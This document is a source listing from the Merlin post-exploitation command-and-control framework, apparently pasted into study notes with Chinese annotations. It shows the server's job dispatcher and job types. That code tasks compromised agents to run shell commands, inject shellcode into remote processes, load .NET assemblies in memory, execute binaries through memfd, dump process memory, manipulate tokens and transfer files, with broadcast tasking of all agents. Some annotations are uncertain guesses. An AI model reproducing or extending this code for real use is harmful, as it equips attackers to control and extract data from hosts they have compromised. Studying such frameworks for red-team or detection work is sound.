	FileBlob     string \`json:"blob"\` 文件内容  
	IsDownload   bool   \`json:"download"\`  
}\*/  
         FileLocation: jobArgs\[0\],  
         IsDownload:   false,  
      }  
      job.Payload = p  
   case "cd": 切换目录  
      job.Type = merlinJob.NATIVE agent系统原生命令  
        
      	// NATIVE 用于发送 NativeCmd 消息  
	NATIVE = 13 // NativeCmd  
	  
      p := merlinJob.Command{  
         Command: "cd",  
         Args:    jobArgs\[0:\],  
      }  
      job.Payload = p  
   case "CreateProcess":创建进程命令在merlin moudle中  
      job.Type = merlinJob.MODULE   
      p := merlinJob.Command{  
         Command: jobType,  
         Args:    jobArgs,  
      }  
      job.Payload = p  
   case "env":  
      job.Type = merlinJob.NATIVE 输出agent env信息 为原生命令  
      job.Payload = merlinJob.Command{  
         Command: jobType,  
         Args:    jobArgs,  
      }  
   case "exit":  
      job.Type = merlinJob.CONTROL 控制命令  
      p := merlinJob.Command{  
         Command: jobArgs\[0\], // TODO, this should be in jobType position 这个因该为一个单独的job type  
      }  
      job.Payload = p  
   case "ifconfig":  
      job.Type = merlinJob.NATIVE 原生命令ifconfig  
      job.Payload = merlinJob.Command{  
         Command: jobType,  
      }  
   case "initialize":  
      job.Type = merlinJob.CONTROL  
      p := merlinJob.Command{  
         Command: jobType,  
      }  
      job.Payload = p  
   case "invoke-assembly": invoke-assembly（调用程序集）需要至少一个参数  
      if len(jobArgs) < 1 {  
         return "", fmt.Errorf("exected 1 argument for the invoke-assembly command, received: %+v", jobArgs)  
      }  
      job.Type = merlinJob.MODULE 调用程序集的命令在moudle中（通过invoke-assembly方式执行系统命令）  
      job.Payload = merlinJob.Command{  
         Command: "clr",  
         Args:    append(\[\]string{jobType}, jobArgs...),  
      }  
   case "ja3":  
      job.Type = merlinJob.CONTROL 修改ja3指纹  
      p := merlinJob.Command{  
         Command: jobArgs\[0\],  
      }  
  
      if len(jobArgs) == 2 {  
         p.Args = jobArgs\[1:\]  
      }  
      job.Payload = p  
   case "killdate": 干掉\\重置u时间（？）  
      job.Type = merlinJob.CONTROL   
      p := merlinJob.Command{  
         Command: jobArgs\[0\],  
      }  
      if len(jobArgs) == 2 {  
         p.Args = jobArgs\[1:\]  
      }  
      job.Payload = p  
   case "killprocess":（干掉进程）  
      job.Type = merlinJob.NATIVE  
      p := merlinJob.Command{  
         Command: "killprocess",  
         Args:    jobArgs,  
      }  
      job.Payload = p  
   case "list-assemblies": 列出程序集  
      job.Type = merlinJob.MODULE  
      job.Payload = merlinJob.Command{  
         Command: "clr",  
         Args:    \[\]string{"list-assemblies"},  
      }  
   case "load-assembly":加载程序集  
      if len(jobArgs) < 1 {  
         return "", fmt.Errorf("exected 1 argument for the load-assembly command, received: %+v", jobArgs)  
      }  
      job.Type = merlinJob.MODULE  
      assembly, err := ioutil.ReadFile(jobArgs\[0\]) 通过读取文件加载assembly  
      if err != nil {  
         return "", fmt.Errorf("there was an error reading the assembly at %s:\\n%s", jobArgs\[0\], err)  
      }  
      fileHash := sha256.New() 计算assembly文件hash  
      \_, err = io.WriteString(fileHash, string(assembly))  
      if err != nil {  
         message("warn", fmt.Sprintf("there was an error generating a file hash:\\n%s", err))  
      }  
      if ok {  
         agent.Log(fmt.Sprintf("loading assembly from %s with a SHA256: %s to agent", jobArgs\[0\], fileHash.Sum(nil)))  
      }  
  
      name := filepath.Base(jobArgs\[0\])  
      if len(jobArgs) > 1 {  
         name = jobArgs\[1\]  
      }  
      job.Payload = merlinJob.Command{  
         Command: "clr",  
         Args:    \[\]string{jobType, base64.StdEncoding.EncodeToString(\[\]byte(assembly)), name}job类型,base64编码assembly内容，n文件地址  
      }  
   case "load-clr":  
      if len(jobArgs) < 1 {  
         return "", fmt.Errorf("exected 1 argument for the load-clr command, received: %+v", jobArgs)  
      }  
      job.Type = merlinJob.MODULE  
      job.Payload = merlinJob.Command{  
         Command: "clr",  
         Args:    append(\[\]string{jobType}, jobArgs...),  
      }  
   case "ls":  
      job.Type = merlinJob.NATIVE 系统原生列目录命令  
      p := merlinJob.Command{  
         Command: "ls", // TODO This should be in the jobType position  
      }  
  
      if len(jobArgs) > 0 {  
         p.Args = jobArgs\[0:\]  
      } else {  
         p.Args = \[\]string{"./"}  
      }  
      job.Payload = p  
   case "maxretry": 设置最大充实次数  
      job.Type = merlinJob.CONTROL  
      p := merlinJob.Command{  
         Command: jobArgs\[0\], // TODO This should be in the jobType postion  
      }  
  
      if len(jobArgs) == 2 {  
         p.Args = jobArgs\[1:\]  
      }  
      job.Payload = p  
   case "memfd": 读文件（？）   
      if len(jobArgs) < 1 {  
         return "", fmt.Errorf("expected 1 argument for the memfd command, received %d", len(jobArgs))  
      }  
      executable, err := ioutil.ReadFile(jobArgs\[0\])  
      if err != nil {  
         return "", fmt.Errorf("there was an error reading %s: %v", jobArgs\[0\], err)  
      }  
      fileHash := sha256.New()  
      \_, err = io.WriteString(fileHash, string(executable))  
      if err != nil {  
         message("warn", fmt.Sprintf("There was an error generating file hash:\\r\\n%s", err.Error()))  
      }  
      b := base64.StdEncoding.EncodeToString(executable)  
      job.Type = merlinJob.MODULE  
      job.Payload = merlinJob.Command{  
         Command: jobType,  
         Args:    append(\[\]string{b}, jobArgs\[1:\]...),  
      }  
   case "Minidump": 读进程（?）内容在moudle中  
      job.Type = merlinJob.MODULE  
      p := merlinJob.Command{  
         Command: jobType,  
         Args:    jobArgs,  
      }  
      job.Payload = p  
   case "netstat":  
      job.Type = merlinJob.MODULE  
      p := merlinJob.Command{  
         Command: jobType,  
         Args:    jobArgs,  
      }  
      job.Payload = p  
   case "nslookup":  
      job.Type = merlinJob.NATIVE  
      job.Payload = merlinJob.Command{  
         Command: jobType,  
         Args:    jobArgs,  
      }  
   case "padding": 填充字段查看  
      job.Type = merlinJob.CONTROL  
      p := merlinJob.Command{  
         Command: jobArgs\[0\],  
      }  
  
      if len(jobArgs) == 2 {  
         p.Args = jobArgs\[1:\]  
      }  
      job.Payload = p  
   case "pipes": 管道（内容在moudle中）  
      job.Type = merlinJob.MODULE  
      p := merlinJob.Command{  
         Command: "pipes",  
      }  
      job.Payload = p  
   case "ps":  
      job.Type = merlinJob.MODULE  
      p := merlinJob.Command{  
         Command: "ps",  
      }  
      job.Payload = p  
   case "pwd":  
      job.Type = merlinJob.NATIVE  
      p := merlinJob.Command{  
         Command: jobArgs\[0\], // TODO This should be in the jobType position  
      }  
      job.Payload = p  
   case "rm":  
      job.Type = merlinJob.NATIVE  
      job.Payload = merlinJob.Command{  
         Command: jobType,  
         Args:    jobArgs\[0:1\],  
      }  
   case "run", "exec":  
      job.Type = merlinJob.CMD  
      payload := merlinJob.Command{  
         Command: jobArgs\[0\],  
      }  
      if len(jobArgs) > 1 {  
         payload.Args = jobArgs\[1:\]  
      }  
      job.Payload = payload  
   case "runas": linux高级命令，内容在moudle中（设置别名？）  
      job.Type = merlinJob.MODULE  
      job.Payload = merlinJob.Command{  
         Command: jobType,  
         Args:    jobArgs,  
      }  
   case "sdelete": 删除  
      job.Type = merlinJob.NATIVE  
      job.Payload = merlinJob.Command{  
         Command: jobType,  
         Args:    jobArgs,  
      }  
   case "shell": cmd命令，发送cmd payload  
      job.Type = merlinJob.CMD  
      payload := merlinJob.Command{  
         Command: jobType,  
         Args:    jobArgs,  
      }  
      job.Payload = payload  
   case "shellcode": 发送shellcode payload  
      job.Type = merlinJob.SHELLCODE  
      payload := merlinJob.Shellcode{  
         Method: jobArgs\[0\],  
      }  
  
      if payload.Method == "self" {  
         payload.Bytes = jobArgs\[1\]  
      } else if payload.Method == "remote" || payload.Method == "rtlcreateuserthread" || payload.Method == "userapc" {  
         i, err := strconv.Atoi(jobArgs\[1\])  
         if err != nil {  
            return "", err  
         }  
         payload.PID = uint32(i)  
         payload.Bytes = jobArgs\[2\]  
      }  
      job.Payload = payload  
   case "skew": 偏斜？？  
      job.Type = merlinJob.CONTROL  
      p := merlinJob.Command{  
         Command: jobArgs\[0\],  
      }  
  
      if len(jobArgs) == 2 {  
         p.Args = jobArgs\[1:\]  
      }  
      job.Payload = p  
   case "sleep":  
      job.Type = merlinJob.CONTROL  
      p := merlinJob.Command{  
         Command: jobArgs\[0\],  
      }  
  
      if len(jobArgs) == 2 {  
         p.Args = jobArgs\[1:\]  
      }  
      job.Payload = p  
   case "ssh":  
      job.Type = merlinJob.MODULE  
      job.Payload = merlinJob.Command{  
         Command: jobType,  
         Args:    jobArgs,  
      }  
   case "token": token令牌命令在moudle中  
      job.Type = merlinJob.MODULE  
      job.Payload = merlinJob.Command{  
         Command: jobType,  
         Args:    jobArgs,  
      }  
   case "touch":  
      job.Type = merlinJob.NATIVE  
      job.Payload = merlinJob.Command{  
         Command: jobType,  
         Args:    jobArgs,  
      }  
   case "upload":  
      job.Type = merlinJob.FILETRANSFER  
      if len(jobArgs) < 2 {  
         return "", fmt.Errorf("expected 2 arguments for upload command, received %d", len(jobArgs))  
      }  
      uploadFile, uploadFileErr := ioutil.ReadFile(jobArgs\[0\])  
      if uploadFileErr != nil {  
         // TODO send "ServerOK"  
         return "", fmt.Errorf("there was an error reading %s: %v", merlinJob.String(job.Type), uploadFileErr)  
      }  
      fileHash := sha256.New()  
      \_, err := io.WriteString(fileHash, string(uploadFile))  
      if err != nil {  
         message("warn", fmt.Sprintf("There was an error generating file hash:\\r\\n%s", err.Error()))  
      }  
      if ok {  
         agent.Log(fmt.Sprintf("Uploading file from server at %s of size %d bytes and SHA-256: %x to agent at %s",  
            jobArgs\[0\],  
            len(uploadFile),  
            fileHash.Sum(nil),  
            jobArgs\[1\]))  
      }  
  
      p := merlinJob.FileTransfer{  
         FileLocation: jobArgs\[1\],  
         FileBlob:     base64.StdEncoding.EncodeToString(\[\]byte(uploadFile)),  
         IsDownload:   true,  
      }  
      job.Payload = p  
   case "uptime": 更新时间  
      job.Type = merlinJob.MODULE  
      p := merlinJob.Command{  
         Command: "uptime",  
      }  
      job.Payload = p  
   default:  
      return "", fmt.Errorf("invalid job type: %d", job.Type)  
   }  
  
   // If the Agent is set to broadcast identifier for ALL agents  
   if agentID.String() == "ffffffff-ffff-ffff-ffff-ffffffffffff" { 如果agent设置为所有agent的广播标识符  
      if len(agents.Agents) <= 0 {  
         return "", fmt.Errorf("there are 0 available agents, no jobs were created")  
      }  
      for a := range agents.Agents {  
         // Fill out remaining job fields  
         token := uuid.NewV4() 生成token  
         job.ID = core.RandStringBytesMaskImprSrc(10) 生成10位随机字符id  
         job.Token = token  
         job.AgentID = a  
         // Add job to the channel  
         \_, k := JobsChannel\[agentID\]  
         if !k {  
            JobsChannel\[agentID\] = make(chan merlinJob.Job, 100)  为每个agent分配100个job空间  
         }  
         JobsChannel\[a\] <- job  
         //agents.Agents\[a\].JobChannel <- job  
         // Add job to the list  
         Jobs\[job.ID\] = info{ 填充job信息  
            AgentID: a,  
            Token:   token,  
            Type:    merlinJob.String(job.Type),  
            Status:  merlinJob.CREATED,  
            Created: time.Now().UTC(),  
            Command: jobType + " " + strings.Join(jobArgs, " "),  
         }  
         // Log the job  
         if ok {  
            agent.Log(fmt.Sprintf("Created job Type:%s, ID:%s, Status:%s, Args:%s",  
               messages.String(job.Type),  
               job.ID,  
               "Created",  
               jobArgs))  
         }  
      }  
   } else {  
      // A single Agent  
      token := uuid.NewV4()  
      job.Token = token  
      job.ID = core.RandStringBytesMaskImprSrc(10)  
      job.AgentID = agentID  
      // Add job to the channel  
      \_, k := JobsChannel\[agentID\]  
      if !k {  
         JobsChannel\[agentID\] = make(chan merlinJob.Job, 100)  
      }  
      JobsChannel\[agentID\] <- job  
      // Add job to the list  
      Jobs\[job.ID\] = info{  
         AgentID: agentID,  
         Token:   token,  
         Type:    merlinJob.String(job.Type),  
         Status:  merlinJob.CREATED,  
         Created: time.Now().UTC(),  
         Command: jobType + " " + strings.Join(jobArgs, " "),  
      }  
      // Log the job  
      if ok {  
         agent.Log(fmt.Sprintf("Created job Type:%s, ID:%s, Status:%s, Args:%s",  
            messages.String(job.Type),  
            job.ID,  
            "Created",  
            jobArgs))  
      }  
  
   }  
   return job.ID, nil  
}  
  
// Clear removes any jobs the queue that have been created, but NOT sent to the agent  
清除删除队列中已创建但未发送到agent的所有job  
func Clear(agentID uuid.UUID) error {  
   if core.Debug {  
      message("debug", "Entering into jobs.Clear() function...")  
   }  
  
   //\_, ok := agents.Agents\[agentID\]  
   //if !ok {  
   // return fmt.Errorf("%s is not a valid agent", agentID)  
   //}  
  
   // Empty the job channel  
   jobChannel, k := JobsChannel\[agentID\]  
   if !k {  
      // There was not a jobs channel for this agent  
      return nil  
   }  
   jobLength := len(jobChannel)  
   if jobLength > 0 {  
      for i := 0; i < jobLength; i++ {  
         job := <-jobChannel 循环遍历取出job设置status为cancel  
         // Update Job Info structure  
         j, ok := Jobs\[job.ID\]  
         if ok {  
            j.Status = merlinJob.CANCELED  
            Jobs\[job.ID\] = j  
         } else {  
            return fmt.Errorf("invalid job %s for agent %s", job.ID, agentID)  
         }  
         if core.Debug {  
            message("debug", fmt.Sprintf("Channel command string: %+v", job))  
            message("debug", fmt.Sprintf("Job type: %s", messages.String(job.Type)))  
         }  
      }  
   }  
   return nil  
}  
  
// ClearCreated removes all unsent jobs across all agents 删除所有agent                                                                                                          所有未发送的job  
func ClearCreated() error {  
   if core.Debug {  
      message("debug", "Entering into jobs.Clear() function...")  
   }  
   for id := range JobsChannel {  
      err := Clear(id)  
      if err != nil {  
         return err  
      }  
   }  
   return nil  
}  
  
// Get returns a list of jobs that need to be sent to the agent返回需要发送给agent的job列表 根据agent uuid取出对应的job channel中的所有job设置type为sent  
func Get(agentID uuid.UUID) (\[\]merlinJob.Job, error) {  
   if core.Debug {  
      message("debug", "Entering into jobs.Get() function...")  
   }  
   var jobs \[\]merlinJob.Job  
   \_, ok := agents.Agents\[agentID\]  
   if !ok {  
      return jobs, fmt.Errorf("%s is not a valid agent", agentID)  
   }  
  
   jobChannel, k := JobsChannel\[agentID\]  
   if !k {  
      // There was not a jobs channel for this agent  
      return jobs, nil  
   }  
  
   // Check to see if there are any jobs  
   jobLength := len(jobChannel)  
   if jobLength > 0 {  
      for i := 0; i < jobLength; i++ {  
         job := <-jobChannel  
         jobs = append(jobs, job)  
         // Update Job Info map  
         j, ok := Jobs\[job.ID\]  
         if ok {  
            j.Status = merlinJob.SENT  
            j.Sent = time.Now().UTC()  
            Jobs\[job.ID\] = j  
         } else {  
            return jobs, fmt.Errorf("invalid job %s for agent %s", job.ID, agentID)  
         }  
         if core.Debug {  
            message("debug", fmt.Sprintf("Channel command string: %+v", job))  
            message("debug", fmt.Sprintf("Job type: %s", merlinJob.String(job.Type)))  
         }  
      }  
   }  
   if core.Debug {  
      message("debug", fmt.Sprintf("Returning jobs:\\r\\n%+v", jobs))  
   }  
   return jobs, nil  
}  
  
// Handler evaluates a message sent in by the agent and the subsequently executes any corresponding tasks  
评估agent发送的消息，然后执行任何相应的任务  
func Handler(m messages.Base) (messages.Base, error) {  
   if core.Debug {  
      message("debug", "Entering into jobs.Handle() function...")  
      message("debug", fmt.Sprintf("Input message: %+v", m))  
   }  
  
   returnMessage := messages.Base{  
      ID:      m.ID,  
      Version: 1.0,  
   }  
  
   if m.Type != messages.JOBS { message类型为jobs  
      return returnMessage, fmt.Errorf("invalid message type: %s for job handler", messages.String(m.Type))  
   }  
   jobs := m.Payload.(\[\]merlinJob.Job) 拆解message中payload字段为jobs  
   a, ok := agents.Agents\[m.ID\] 获取agent uuid  
   if !ok {  
      return returnMessage, fmt.Errorf("%s is not a valid agent", m.ID)  
   }  
  
   a.StatusCheckIn = time.Now().UTC()  
   returnMessage.Padding = core.RandStringBytesMaskImprSrc(a.PaddingMax)  
  
   var returnJobs \[\]merlinJob.Job  
  
   for \_, job := range jobs {  
      // Check to make sure agent UUID is in dataset  
      agent, ok := agents.Agents\[job.AgentID\]  
      if ok {  
         // Verify that the job contains the correct token and that it was not already completed  
         err := checkJob(job)  
         if err != nil {  
            // Agent will send back error messages that are not the result of a job  
            if job.Type != merlinJob.RESULT {  
               return returnMessage, err  
            }  
            if core.Debug {  
               message("debug", fmt.Sprintf("Received %s message without job token.\\r\\n%s", messages.String(job.Type), err))  
            }  
         }  
         switch job.Type {  
         case merlinJob.RESULT:  
            agent.Log(fmt.Sprintf("Results for job: %s", job.ID))  
  
            userMessage := messageAPI.UserMessage{  
               Level:   messageAPI.Note,  
               Time:    time.Now().UTC(),  
               Message: fmt.Sprintf("Results job %s for agent %s at %s", job.ID, job.AgentID, time.Now().UTC().Format(time.RFC3339)),  
            }  
            messageAPI.SendBroadcastMessage(userMessage)   
            result := job.Payload.(merlinJob.Results)广播格式化job信息要输出  
            if len(result.Stdout) > 0 {  
               agent.Log(fmt.Sprintf("Command Results (stdout):\\r\\n%s", result.Stdout))  
               userMessage := messageAPI.UserMessage{  
                  Level:   messageAPI.Success,  
                  Time:    time.Now().UTC(),  
                  Message: result.Stdout,  
               }  
               messageAPI.SendBroadcastMessage(userMessage)广播job command结果  
            }  
            if len(result.Stderr) > 0 {  
               agent.Log(fmt.Sprintf("Command Results (stderr):\\r\\n%s", result.Stderr))   
               userMessage := messageAPI.UserMessage{  
                  Level:   messageAPI.Warn,  
                  Time:    time.Now().UTC(),  
                  Message: result.Stderr,  
               }  
               messageAPI.SendBroadcastMessage(userMessage) 广播命令错误信息  
            }  
         case merlinJob.AGENTINFO:  
            agent.UpdateInfo(job.Payload.(messages.AgentInfo))  
         case merlinJob.FILETRANSFER: 传输文件  
            err := fileTransfer(job.AgentID, job.Payload.(merlinJob.FileTransfer))  
            if err != nil {  
               return returnMessage, err  
            }  
         }  
         // Update Jobs Info structure  
         j, k := Jobs\[job.ID\]  
         if k {  
            j.Status = merlinJob.COMPLETE  
            j.Completed = time.Now().UTC()  
            Jobs\[job.ID\] = j  
         }  
      } else {  
         userMessage := messageAPI.UserMessage{  
            Level:   messageAPI.Warn,  
            Time:    time.Now().UTC(),  
            Message: fmt.Sprintf("Job %s was for an invalid agent %s", job.ID, job.AgentID),  
         }  
         messageAPI.SendBroadcastMessage(userMessage)  
      }  
   }  
   // See if there are any new jobs to send back 完成job后查看是否有新job要执行  
   agentJobs, err := Get(m.ID)  
   if err != nil {  
      return returnMessage, err  
   }  
   returnJobs = append(returnJobs, agentJobs...)  
  
   if len(returnJobs) > 0 {  
      returnMessage.Type = messages.JOBS  
      returnMessage.Payload = returnJobs  
   } else {  
      returnMessage.Type = messages.IDLE  
   }  
  
   if core.Debug {  
      message("debug", fmt.Sprintf("Message that will be returned to the Agent:\\r\\n%+v", returnMessage))  
      message("debug", "Leaving jobs.Handle() function...")  
   }  
   return returnMessage, nil  
}  
  
// Idle handles input idle messages from the agent and checks to see if there are any jobs to return  
输入agent的 idle信息并查看是否有job去返回（返回对应uuid的job）   
func Idle(agentID uuid.UUID) (messages.Base, error) {  
   returnMessage := messages.Base{  
      ID:      agentID,  
      Version: 1.0,  
   }  
   agent, ok := agents.Agents\[agentID\]  
   if !ok {  
      return returnMessage, fmt.Errorf("%s is not a valid agent", agentID)  
   }  
  
   if core.Verbose || core.Debug {  
      message("success", fmt.Sprintf("Received agent status checkin from %s", agentID))  
   }  
  
   agent.StatusCheckIn = time.Now().UTC()  
   returnMessage.Padding = core.RandStringBytesMaskImprSrc(agent.PaddingMax)  
   // See if there are any new jobs to send back  
   jobs, err := Get(agentID)  
   if err != nil {  
      return returnMessage, err  
   }  
   if len(jobs) > 0 {  
      returnMessage.Type = messages.JOBS  
      returnMessage.Payload = jobs  
   } else {  
      returnMessage.Type = messages.IDLE  
   }  
   return returnMessage, nil  
}  
  
// GetTableActive returns a list of rows that contain information about active jobs  
返回包含有关active作业信息的行列表  
func GetTableActive(agentID uuid.UUID) (\[\]\[\]string, error) {  
   if core.Debug {  
      message("debug", fmt.Sprintf("entering into jobs.GetTableActive for agent %s", agentID.String()))  
   }  
   var jobs \[\]\[\]string  
   \_, ok := agents.Agents\[agentID\]  
   if !ok {  
      return jobs, fmt.Errorf("%s is not a valid agent", agentID)  
   }  
  
   for id, job := range Jobs {  
      if job.AgentID == agentID {  
         //message("debug", fmt.Sprintf("GetTableActive(%s) ID: %s, Job: %+v", agentID.String(), id, job))  
         var status string  
         switch job.Status {  
         case merlinJob.CREATED:  
            status = "Created"  
         case merlinJob.SENT:  
            status = "Sent"  
         case merlinJob.RETURNED:  
            status = "Returned"  
         default:  
            status = fmt.Sprintf("Unknown job status: %d", job.Status)  
         }  
         var zeroTime time.Time  
         // Don't add completed or canceled jobs  
         if job.Status != merlinJob.COMPLETE && job.Status != merlinJob.CANCELED {  
            var sent string  
            if job.Sent != zeroTime {  
               sent = job.Sent.Format(time.RFC3339)  
            }  
            // <JobID>, <Command>, <JobStatus>, <Created>, <Sent>  
            jobs = append(jobs, \[\]string{  
               id,  
               job.Command,  
               status,  
               job.Created.Format(time.RFC3339),  
               sent,  
            })  
         }  
      }  
   }  
   return jobs, nil  
}  
  
// GetTableAll returns all unsent jobs to be displayed as a table 展示所有未发送的job  
func GetTableAll() \[\]\[\]string {  
   var jobs \[\]\[\]string  
   for id, job := range Jobs {  
      var status string  
      switch job.Status {  
      case merlinJob.CREATED:  
         status = "Created"  
      case merlinJob.SENT:  
         status = "Sent"  
      case merlinJob.RETURNED:  
         status = "Returned"  
      default:  
         status = fmt.Sprintf("Unknown job status: %d", job.Status)  
      }  
      if job.Status != merlinJob.COMPLETE && job.Status != merlinJob.CANCELED {  
         var zeroTime time.Time  
         var sent string  
         if job.Sent != zeroTime {  
            sent = job.Sent.Format(time.RFC3339)  
         }  
  
         jobs = append(jobs, \[\]string{  
            job.AgentID.String(),  
            id,  
            job.Command,  
            status,  
            job.Created.Format(time.RFC3339),  
            sent,  
         })  
      }  
   }  
   return jobs  
}  
  
// checkJob verifies that the input job message contains the expected token and was not already completed  
验证输入的作业消息是否包含预期的token并且尚未完成  
func checkJob(job merlinJob.Job) error {  
   // Check to make sure agent UUID is in dataset  
   \_, ok := agents.Agents\[job.AgentID\]  
   if !ok {  
      return fmt.Errorf("job %s was for an invalid agent %s", job.ID, job.AgentID)  
   }  
   j, k := Jobs\[job.ID\]  
   if !k {  
      return fmt.Errorf("job %s was not found for agent %s", job.ID, job.AgentID)  
   }  
   if job.Token != j.Token { 验证token  
      return fmt.Errorf("job %s for agent %s did not contain the correct token.\\r\\nExpected: %s, Got: %s", job.ID, job.AgentID, j.Token, job.Token)  
   }  
   if j.Status == merlinJob.COMPLETE { 验证job是否完成  
      return fmt.Errorf("job %s for agent %s was previously completed on %s", job.ID, job.AgentID, j.Completed.UTC().Format(time.RFC3339))  
   }  
   if j.Status == merlinJob.CANCELED { 验证job是否取消  
      return fmt.Errorf("job %s for agent %s was previously canceled on", job.ID, job.AgentID)  
   }  
   return nil  
}  
  
// fileTransfer handles file upload/download operations  
func fileTransfer(agentID uuid.UUID, p merlinJob.FileTransfer) error {  
   if core.Debug {  
      message("debug", "Entering into agents.FileTransfer")  
   }  
  
   // Check to make sure it is a known agent  
   agent, ok := agents.Agents\[agentID\]  
   if !ok {  
      return fmt.Errorf("%s is not a valid agent", agentID)  
   }  
  
   if p.IsDownload {  
      agentsDir := filepath.Join(core.CurrentDir, "data", "agents")  
      \_, f := filepath.Split(p.FileLocation) // We don't need the directory part for anything  
      if \_, errD := os.Stat(agentsDir); os.IsNotExist(errD) {  
         errorMessage := fmt.Errorf("there was an error locating the agent's directory:\\r\\n%s", errD.Error())  
         agent.Log(errorMessage.Error())  
         return errorMessage  
      }  
      message("success", fmt.Sprintf("Results for %s at %s", agentID, time.Now().UTC().Format(time.RFC3339)))  
      downloadBlob, downloadBlobErr := base64.StdEncoding.DecodeString(p.FileBlob) base64解码下载的内容  
  
      if downloadBlobErr != nil {  
         errorMessage := fmt.Errorf("there was an error decoding the fileBlob:\\r\\n%s", downloadBlobErr.Error())  
         agent.Log(errorMessage.Error())  
         return errorMessage  
      }  
      downloadFile := filepath.Join(agentsDir, agentID.String(), f)在agent id 对应的文件夹下存储下载的文件  
      writingErr := ioutil.WriteFile(downloadFile, downloadBlob, 0600)  
      if writingErr != nil {  
         errorMessage := fmt.Errorf("there was an error writing to -> %s:\\r\\n%s", p.FileLocation, writingErr.Error())  
         agent.Log(errorMessage.Error())  
         return errorMessage  
      }  
      successMessage := fmt.Sprintf("Successfully downloaded file %s with a size of %d bytes from agent %s to %s",  
         p.FileLocation,  
         len(downloadBlob),  
         agentID.String(),  
         downloadFile)  
  
      message("success", successMessage)  
      agent.Log(successMessage)  
   }  
   if core.Debug {  
      message("debug", "Leaving agents.FileTransfer")  
   }  
   return nil  
}  
  
// message is used to send send messages to STDOUT where the server is running and not intended to be sent to CLI  
用于将发送消息发送到服务器正在运行的 STDOUT，而不打算发送到 CLI  
func message(level string, message string) {  
   switch level {  
   case "info":  
      color.Cyan("\[i\]" + message)  
   case "note":  
      color.Yellow("\[-\]" + message)  
   case "warn":  
      color.Red("\[!\]" + message)  
   case "debug":  
      color.Red("\[DEBUG\]" + message)  
   case "success":  
      color.Green("\[+\]" + message)  
   default:  
      color.Red("\[\_-\_\]Invalid message level: " + message)  
   }  
}

jobs

jobs.go

// Merlin is a post-exploitation command and control framework.  
// This file is part of Merlin.  
// Copyright (C) 2021  Russel Van Tuyl  
  
// Merlin is free software: you can redistribute it and/or modify  
// it under the terms of the GNU General Public License as published by  
// the Free Software Foundation, either version 3 of the License, or  
// any later version.  
  
// Merlin is distributed in the hope that it will be useful,  
// but WITHOUT ANY WARRANTY; without even the implied warranty of  
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the  
// GNU General Public License for more details.  
  
// You should have received a copy of the GNU General Public License  
// along with Merlin.  If not, see <http://www.gnu.org/licenses/>.  
  
package jobs  
  
// TODO Does it makes sense to move this under pkg/agents/jobs?  
  
import (  
   // Standard  
   "encoding/gob"  
   "fmt"  
  
   // 3rd Party  
   uuid "github.com/satori/go.uuid"  
)  
  
// init registers message types with gob that are an interface for Base.Payload  
func init() {  
   gob.Register(\[\]Job{})  
   gob.Register(Command{})  
   gob.Register(Shellcode{})  
   gob.Register(FileTransfer{})  
   gob.Register(Results{})  
}  
  
const (  
   // CREATED is used to denote that job has been created  
   CREATED \= 1  
   // SENT is used to denote that the job has been sent to the Agent  
   SENT \= 2  
   // RETURNED is for when a chunk has been returned but the job hasn't finished running  
   RETURNED \= 3  
   // COMPLETE is used to denote that the job has finished running and the Agent has sent back the results  
   COMPLETE \= 4  
   // CANCELED is used to denoted jobs that were cancelled with the "clear" command  
   CANCELED \= 5  
  
   // To Agent  
  
   // CMD is used to send CmdPayload messages  
   CMD \= 10 // CmdPayload  
   // CONTROL is used to send AgentControl messages  
   CONTROL \= 11 // AgentControl  
   // SHELLCODE is used to send shellcode messages  
   SHELLCODE \= 12 // Shellcode  
   // NATIVE is used to send NativeCmd messages  
   NATIVE \= 13 // NativeCmd  
   // FILETRANSFER is used to send FileTransfer messages for upload/download operations  
   FILETRANSFER \= 14 // FileTransfer  
   // OK is used to signify that there is nothing to do, or to idle  
   OK \= 15 // ServerOK  
   // MODULE is used to send Module messages  
   MODULE \= 16 // Module  
  
   // From Agent  
  
   // RESULT is used by the Agent to return a result message  
   RESULT \= 20  
   // AGENTINFO is used by the Agent to return information about its configuration  
   AGENTINFO \= 21  
)  
  
// Job is used to task an agent to run a command  
type Job struct {  
   AgentID uuid.UUID   // ID of the agent the job belong to  
   ID      string      // Unique identifier for each job  
   Token   uuid.UUID   // A unique token for each task that acts like a CSRF token to prevent multiple job messages  
   Type    int         // The type of job it is (e.g., FileTransfer  
   Payload interface{} // Embedded messages of various types  
}  
  
// Command is the structure to send a task for the agent to execute  
type Command struct {  
   Command string   \`json:"command"\`  
   Args    \[\]string \`json:"args"\`  
}  
  
// Shellcode is a JSON payload containing shellcode and the method for execution  
type Shellcode struct {  
   Method string \`json:"method"\`  
   Bytes  string \`json:"bytes"\`         // Base64 string of shellcode bytes  
   PID    uint32 \`json:"pid,omitempty"\` // Process ID for remote injection  
}  
  
// FileTransfer is the JSON payload to transfer files between the server and agent  
type FileTransfer struct {  
   FileLocation string \`json:"dest"\`  
   FileBlob     string \`json:"blob"\`  
   IsDownload   bool   \`json:"download"\`  
}  
  
// Results is a JSON payload that contains the results of an executed command from an agent  
type Results struct {  
   Stdout string \`json:"stdout"\`  
   Stderr string \`json:"stderr"\`  
}  
  
// String returns the text representation of a message constant  
func String(jobType int) string {  
   switch jobType {  
   case CMD:  
      return "Command"  
   case CONTROL:  
      return "AgentControl"  
   case SHELLCODE:  
      return "Shellcode"  
   case NATIVE:  
      return "Native"  
   case FILETRANSFER:  
      return "FileTransfer"  
   case OK:  
      return "ServerOK"  
   case MODULE:  
      return "Module"  
   case RESULT:  
      return "Result"  
   case AGENTINFO:  
      return "AgentInfo"  
   default:  
      return fmt.Sprintf("Invalid job type: %d", jobType)  
   }  
}